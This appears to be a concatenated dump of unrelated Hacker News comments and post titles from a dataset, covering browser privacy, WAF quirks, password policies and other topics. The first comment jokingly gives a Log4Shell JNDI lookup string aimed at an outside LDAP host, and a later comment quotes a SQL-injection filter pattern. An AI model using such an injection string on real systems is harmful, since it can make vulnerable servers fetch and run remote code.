skysight-inc/HackerNews huggingface dataset:
Phew. They’ll never catch me. My password is

${jndi:ldap://hunter2.com/totallylegit}
NASA regains contact with mini-helicopter on Mars
All merchandise is commercial. Do your kids wear a Nike swoosh t shirt? Okay on an iPad? Love Lego? What the difference if it's a Microsoft football or new relic slingshot (all things I see from where I'm sitting)?
A worthwhile distinction might be the kind of applications under these branching strategies; web apps typically only have one live version which avoids the problems you've mentioned.
Show HN: ai-o – Browse the web and chat with AI, side by side
Hi HN

I am the developer of "ai-o" - and all-in-one portable chatbot with some useful chat & prompt utilities.

I made this from my dislike of context switching between my current task and ChatGPT, alongside the fact that ChatGPT currently is lacking in some core chat utilities such as: conversation search, folders, prompt history etc. - from which have all been added into ai-o.

I aim to build a feature-rich chatbot that you can summon on any webpage, any time you have a question. But I need your help I have many things planned in the feature roadmap but as mentioned, I want to build a "utility-focused" chatbot, so I need some steer from you guys towards what kind of features would be most useful for you when using this chatbot.

If you would like to give it a try, it's free to use and you get some free requests to chat with GPT-4 Turbo & Vision. Let me know what you like, hate, or find mid

Free download here: https://chromewebstore.google.com/u/1/detail/ai-o-gpt-4-turb...
I am also launching on Product Hunt ⬆ : https://www.producthunt.com/products/ai-o

How to use:
- Option (MacOS) / Alt (Windows) + A to activate the sidebar.
Features:
- Chat with Al whilst browsing the web, side by side. Always-visible sidebar.
- Chat with latest OpenAI models: GPT-3.5 Turbo, GPT-4 Turbo, GPT-4 Vision on any website
- Create and save custom prompts with support for prompt variables
- Folders system to organize your chats
- ⬇ Import ChatGPT chat history
- Chat history
- Advanced search for finding chats and messages
- Prompt history
- Voice dictation (Speech to text)
- Text-to-speech playback
- Sync chats & folder across multiple devices
- ⌨ Keyboard shortcuts
- Dark & light mode support
Some people do have quite a bit more innate cold tolerance than normal. See for example Wim Hof.

Hof claims his high cold tolerance is due to exercise and lifestyle, but his identical twin brother has similar cold tolerance without having done the things Wim attributes his to suggesting its genetic.

That fits what scientists who have studied Hof found. They found that (1) he really does have very high cold tolerance, and (2) this are not attributable to the specific exercise and lifestyle choices he thinks it is.
Last shows i (I'm Brazilian) remember pirating: Mr Robot, cause i didn't even know where to watch it legally and Cobra Kay, which for some reason was on YouTube originals. The latter I've download and disturbed to my friends back in college on a pen drive, i did the show a favor.

A sad thing, some what related to this is there's nothing worth pirating now a days. Every single movie or TV show is bad these days.
The doctrine of fair use presupposes that the defendant acted in good faith.

- Harper & Row, 105 S. Ct. at 2232

- Marcus, 695 F.2d 1171 at 1175

- Radji v. Khakbaz, 607 F. Supp. 1296, 1300 (D.D. C.1985)

- Roy Export Co. Establishment of Vaduz, Liechtenstein, Black, Inc. v. Columbia Broadcastinig System, Inc., 503 F. Supp. 1137 (S.D.N.Y.1980), aff'd, 672 F.2d 1095 (2d Cir.), cert. denied, 459 U.S. 826, 103 S. Ct. 60, 74 L. Ed. 2d 63 (1982)

Copying and distributing someone else's work, especially without attributing the original, to make money without their permission is almost guaranteed to fall afoul of fair use.
I think a little footer link titled

Black

down the bottom when Black is active that links to the relevant post is good
I love how DoorDash created an adversarial system where it’s figured out how to earn billions of dollars for itself while ripping off both the consumer and the worker, and when they find that they’re screwed they fight each other instead of DoorDash which is quite literally siphoning off billions from both of them.

This isn’t limited to DoorDash of course. This is the crux of the gig economy. The ability to steal money by making yourself a middleman.
I want more innovation in the password requirement genre:

Your password must be valid SQL, Java, Go, or C++ string. Or a haiku about grocery shopping. This way it won’t look like a password in case we leak it.
Livestream AI paper overviews [video]
hu-po is doing many live streams where he does deep dives into the research.
Right around the corner, just like it has been for the past five decades. I remain very skeptical about AI replacing programmers.
Every revelation in software methodologies has lead to more complexity and replacing one kind of drudgery with more of another.
Will AI change our profession? Sure, maybe, probably. Replace us? I don't see it happening anytime soon.
Hi there! Thanks a lot for sharing your thoughts. I completely understand your concern about the business model, and it's a valid point. Our key differentiator lies in our focus on issue-based donations rather than contributing to entire projects. This ensures that the funds directly benefit the actual contributors.

As for company donations, we are actively building personal connections with initial donors. We believe that having established collaborations with well-known entities will instill greater trust in the community. This approach aligns with our strategy to showcase tangible partnerships as we grow.

Additionally, we're taking a unique approach to entering the market. Our initial strategy involves concentrating on one technology stack at a time, such as exclusively covering JavaScript. By doing so, we aim to influence and reshape the culture within that specific open source community. After we will have one community covered we will slowly spread to other branches :)

We recognize the inherent risks in this endeavor, as with any ambitious project. However, we are optimistic and fully committed to giving it our best shot. The initial investment serves as a necessary head start to help us lift off smoothly.

Your support means a lot to us, and any encouragement from the community is highly appreciated as we embark on this exciting journey. Thanks again!
Doesn't firefox have the exact same issue? The intersection of people that are tech savvy enough to care about this but haven't switched yet, and the people who are genuinely fooled by this (as opposed to kneejerk-hating on google) is approximately zero.
How would a WAF do its job if it can't see the request payload?
Thinking about it, it can also be that the input is sanitized a little too much.

Imagine the user uses "select_mypassword" as a password. The sanitizer kicks in and silently mangles your password, resulting in another password being stored than the one you entered, effectively locking you out. Or maybe it just fails with an obscure error because some overzealous countermeasure triggered. I wonder what using the EICAR file as a password would do btw.

Also, while the password may be stored properly (hashed), the password still transits in plaintext before it is stored or verified. So even with hashing, you can still be vulnerable to injection.
Parallel reference counting can have extremely poor performance.
Naturally. You just use a different name for that field than password, and the hackers will never know! /s
backlog - https://www.youtube.com/@hu-po/streams
A well-done parody would look much like a scam without digging into it and recognizing it as a parody.
As the article states:

Even today, the myth persists that the human body cannot withstand more than a few minutes in the ocean. Thus, many people thrown into the sea assume that cold shock is the icy grip of death closing around them. In reality, the cold shock ends after 90 seconds. Even in the winter waters of the North Atlantic, an average-sized adult still has 10 minutes before going numb, and at least an hour before the heart stops.“The average adult is a big chunk of meat and it takes a lot of energy to cool it off”

Apparently most people die because they panic due to the cold shock or just kinda give up.
> What did lifeboats of that period stock for emergency rations

Biscuits and water, but they were in locked boxes on the deck "for fear of theft" so that wasn't reliably transferred to the boats in the chaos
Its only because of cheap streaming and password sharing. People in Brazil would be able to pirate using a toaster if prices were too high. Only one person has to get the file, then it gets distributed easily.
If you want a compiled language with strong types, Swift actually is a very nice language for learning. It has very nice ergonomics, and the Swift Playgrounds iPad apps are really nice and engaging.
>how many Heisenbugs

I suspect, given the real, actual measurements, the number of difficult to deal with bugs is pretty consistent between immutability and mutability. Actual measurements does not support claims of “easier to reason about”, or “reduced bugs”.

>how often do you use mutability

Whenever something should change and I don’t specifically need functionality that immutability might provide (literally 99.99999999% of every state change).
If I'm using their server it is incidental. I'm not using Google search or Google maps.

But all those other pesky web sites use Google analytics, etc....
> I thought it was well understood that "private" mode in browsers relates to what your local machine records about where you visit.

I bet 99% of the people who use Chrome don't even really understand what a browser is or the difference between remote and local.

> I didn't even think that a web site could know you were in that mode, let alone honour it.

Well, except if you're Google and you own both the website the user visits and the browser used for the visit.
Thanks for your perspective. I realize the way I framed my argument makes it seem as if Firefox was barely palatable, yet I haven't switched away somehow. It's an OK browser - but it's not 2002 anymore. IE6 was distilled shit, literally everybody hated it, the market could hardly wait to be disrupted. I even managed to convince my boss to put a banner on our website, telling IE visitors to use a different browser. The bar this time is much higher, and it requires a proportional amount of effort to clear. Meanwhile:

https://calpaterson.com/mozilla.html

https://lunduke.locals.com/post/5053290/mozilla-2023-annual-...

https://www.jwz.org/blog/2022/01/mozilla-blinked/

Firefox does not just have to improve faster than the competition, it needs to already be better, and to continue getting better, faster than two among the biggest behemoths of all time, to even hope to be competitive in a "free" (LOL, sorry.) market. Being objectively better by a huge margin is literally step 1, and we're. not. there.

Antitrust is the only way, and all three companies need a kick in the balls. Mozilla perhaps the gentlest, but a kick nevertheless.
> Not disagreeing but also 20+ years ago we, the general public, were more likely to be on a shared desktop machine at home rather than each having their own laptop/phone.

Even if you're not on a shared computer, you don't want "pornhub.com" to show up on your autocomplete when you're screensharing (online or in-person).
Usually when people make that claim about Canada (and don't appear to be left/far left) they are referring to either our medical assistance in dying laws (which went from only for people on the brink of dying from stuff like cancer to now contemplating extension to mature minors, people with mental illness only among others) or they are referring to our abortion laws.
In my experience, tipping culture first started to change with Starbucks, but it really seemed to accelerate with integrated tips in terminals like square and point of sale devices.

In short, when the checkout terminal asks you to round up your change for a donation to help kids, and the cashier is looking at you, nobody wants to feel like the jerk that says no.
I used to get all sorts of medically-branded pens and merchandise courtesy of my parents. I had an infinite supply of pens.

Years later, I was working as a nurse on a medical floor. I had a realization that I was filling out an IV med label for Avelox with an Avelox-branded pen.
Just imagine a trial where Google is trying to explain to a jury of less-than-tech-literate-folk that they claim they don’t track you, and they don’t track you, but they do track you.
That’s wild. I’m right outside DC and last month I used 2066kWh for a total bill of $258.85. So, 0.13c/kWh.

I’m all electric heat pump. That ran for about 300hrs last month, so accounts for around 800kWh.
Hi there! Appreciate your feedback!

We understand the value of having something tangible for the community to try. As a startup actively working on our beta version, we're working hard to gather a group of early adopters to test our initial version and validate the platform functionalities. That's why we're encouraging you to subscribe to our "waitlist."

Your support is crucial to our development process, and we appreciate your patience as we work towards bringing a meaningful and functional platform to the community. Thanks once again!
I find NNN and Ranger a lot more ergonomic as a UX, but MC’s virtual file system is so good, the ability browse folders seamlessly whether local, remote, zip, tar, jar in the same interface etc is really useful.
You know what, you're right. And it's actually something that's been bugging me for a while, I just never got around to fixing it. I'm going to update my config now. Thanks!

(Author of post)
Nope - that's not a valid ldap URL - or even a valid domain, for that matter. Domains can only contain the ascii leters a-z and the digits 0-9 -- asterisks are not permitted; the only symbol permitted is a hyphen (and it cannot start or end with one).
we had one a while back where a small number of requests were failing for a particular set of pages. We first spotted that all the urls contained 'select' (generally as part of a parameter name, like itemselect), so I went digging for WAF-like filters anywhere in the stack. I found that we had some ancient config in a proxy server from before we used a commercial waf that looked for `SELECT.*UNION` ... flicked back to the URLs and found they'd all also all had a parameter like 'company=credit+union'.

Facepalm, and ripped the code out, we had plenty of protection elsewhere
Are you relatively tech savvy though? This was also obvious to me but I develop web apps for a living. It may likely not have been very obvious to others.
I would agree that or some ancient history residential schools stuff if this person appeared left/far left leaning. They are talking about the budget like the deficit matters though, so I suspect they are more right leaning and so are referring to what I proposed in my other response.
No, I disagree - a fine action series on the lines of Jason Bourne; though I listened on Audible which perhaps makes a difference.
I'm building a Web and iOS game (https://brawlbugs.com) as a side project and started implementing collision detection from scratch.

Terrible idea. Use a library like this if you're in the JavaScript ecosystem:

https://www.npmjs.com/package/detect-collisions
Are you Eric Weinstein?
Totally agree with this. I use https://github.com/larkery/zsh-histdb slightly modified to work more smoothly for me. If I remember correctly, I tried Atuin but it messed up multi-line commands. Zsh-histdb handles them well.
> There's one powerful thing that mc does and almost any other dual file manager omits: it has the concept of "pop up menus" for commonly used commands

I never really used mc because once I switched to Linux I became an Emacs user but... I have fond memories of Norton Commander on my 386 PC (running DOS, before Windows 95 became a thing). I think Norton Commander was first and mc was a clone of Norton Commander (even copying the color scheme). And Norton Commander, IIRC, already had these "popup menus" (but my memory may be playing me tricks).
What would it do when you pin more things than your cache can hold? Trigger an interrupt? It basically becomes another memory layer you'd need to manage.
Yes. But but I am referring to actual production cost of DRAM, not its selling price which goes through boom and bust cycle. BOM cost has been pretty much constant for the past 10- 15 years. Although one could argue if we had adjusted for inflation it has still gotten a bit cheaper.
It's strange because supercomputing centers have long built compute and storage in parallel to address this problem. Older companies like SGI had the storage accessing the high-speed, low-latency interconnect. Others build clusters with different nodes for each.

Companies that can train models this big should hire people with HPC experience. They'd point out the need for storage clusters with high-speed interconnects. If they lack storage capabilities, I wonder why they're doing HPC like that. They clearly need the storage.

Example that BLOOM was trained on lists 100+GB of RAM per node and PB's of storage:

http://www.idris.fr/eng/jean-zay/cpu/jean-zay-cpu-hw-eng.htm...
Not even a traditional ponzi scheme, that would be using new funds to pay returns to older marks. I can't figure out if just taking people's money and telling them it's going up but refusing to give it back has a name or if it's just, you know, lying.
>

When it comes to the green and blue bubbles thing,
I really don't understand what's going on.

To be honest, even after having used this iPhone for 3 months,

I couldn't tell you who's green and who's blue.

Personally, I would rather just text people
without having my color palette disturbed

and not knowing what color is going to present
itself every time I open up my messaging app.

And you would think that with Apple being so inclusive lately,

they would stop being so divisive when it
comes to the colors of the text messages.

Welp, I can't say I disagree with him, especially with the air quotes.

Overall this is a nice video highlighting how the things are different
>don't trust the success of anyone who talks a lot about how successful they are.

What bothers me most is that promotion is so important for solo entrepreneurs, that some people will placate the grifters in return for exposure. It's hard to call people out. We end up in a place where everyone is selling to everyone else.
Many people stayed in the old mental model where a site not getting your cookies meant it probably couldn't identify you (other meta data like IP, user agent etc. where usually less unique and/or exploitable)

They never revisited that assumption and might have passed it down to newer users as well.
Write one? Just covering 2D plus some of the edge cases (and still having issues) took 20 pages of text and examples.

Reason that most 3D collision is simply handled with approximate spheres or cubes around objects, or else floating planes. IE: Feature-based Algorithms

Advanced stuff, if you want to implement it: Simplex Based Algorithms, Image-Space Occlusion Culling Algorithms, Bounding Volume Hierarchies.

Collision Detection: A Survey, S. Kockara et al, 2007 IEEE International Conference on Systems, Man and Cybernetics. https://d1wqtxts1xzle7.cloudfront.net/50445336/Collision_det...

3D Collision Detection: A Survey, P. Jimenez et al, Institute de Robotica, 2001, https://digital.csic.es/bitstream/10261/30526/1/doc1.pdf
Kubernetes Ports: A Definitive Look – Expose, NodePort, TargetPort, & More
Hello!

You're absolutely right; there are already platforms enabling users to donate to open source projects or various services.

Nevertheless, the concept of donating to specific open source issues and rewarding the person who resolves those issues isn't widely popular on existing platforms. While Bountysource came close, it never quite reached its full potential. We believe that a slightly different approach, with an emphasis on smaller communities initially, can make a significant impact.

Thanks again for your feedback!
Honestly, where I am, I feel like cities have become better over time.
If an organization has such a password policy, that can be interpreted as the person in charge of setting this policy thinks their organization doesn't have enough people with the competence and organizational power to prevent SQL injection vulnerabilities. Which would reflect poorly on any institution, but especially a university (which should be a bastion of people with competence and organizational power).

As for common password advise, my take on your argument would be that we should all be using these keywords in our passwords to quickly surface these bugs, lest they be hidden and only used by attackers.
> Early versions of Rust used refcounting for everything and iirc they found anywhere between 10-15% of the resulting binaries was refcounting instructions!

Do you happen to have a citation for this? I don’t remember ever hearing about it, but it’s possible this was before my time, as I started in the smart pointers era.
Most answers here show a misunderstanding of both "plagiarism" and the basis for granting advanced degrees. Research degrees are granted to persons who have demonstrated ability to produce work meeting some standard. It does not matter if the work was done some time earlier, and for a different purpose. There are many examples of people granted a PhD based on work done in a non-academic setting and then repackaged for the thesis.
Taking a 30% hit on business income is a significant thing.
Before Parameterized SQL was a thing, sanitizing was the thing. There’s a lot of escape_string() type of methods out there.
Some choice excerpts: https://chaos.social/@jonty/111790368414352462
Siri is not fine in the slightest. It was great in previous iOS versions, but after the recent update to iOS 17 it doesn’t function. Misses at least half of my “Hey Siris”, doesn’t respond to a fair portion of requests, and what it does respond to it does so in a way that was inferior than pre-17, either by being painfully slow or failing in some fashion.
The php runs on the server, and does the same thing.

The JavaScript posts excessive status messages, and only allows a submit when all checks have passed.
why would waf see hashed passowrds? passwords are hashed by application, so that is after waf does its job and hands request over to app.
Incognito mode is supposed to not send your regular cookies so sites shouldn't be able to track you unless they use dubious stealthy tricks rather than the explicit well-known and documented method (i.e. a cookie). While I know that it's possible, I think it's morally despicable and I expect better from established (and ostensibly honorable) companies like Google.

The fact that they now basically say "cookies or not, we're gonna track you anyway" sounds to me like another step in the downfall of Google.
Out of the Cyber Crisis – Deming in Cybersecurity
you could still hope it's a WAF issue or they're hashing passwords through the database query, though both unlikely
That's not a reasonable requirement at all. A common recommendation nowadays is to have passphrases..
I bet a lot of people do look at it like that and believe it provides some VPN like protections as well.
Would be better if they provided a drop-down list of safe passwords to use. A pre-defined choice of 12 should be enough.
It's a log4shell reference
One of the things that devs can blame when our app doesn’t work in production.
I have a SUSE power strip (1-plug-to-3) that I pull out at airports when everyone is contending for outlets - very popular move. I have a little bag with pouches for chargers and adapters.

Really anything that is handy for business travelers is going to land well with a lot of people at conferences.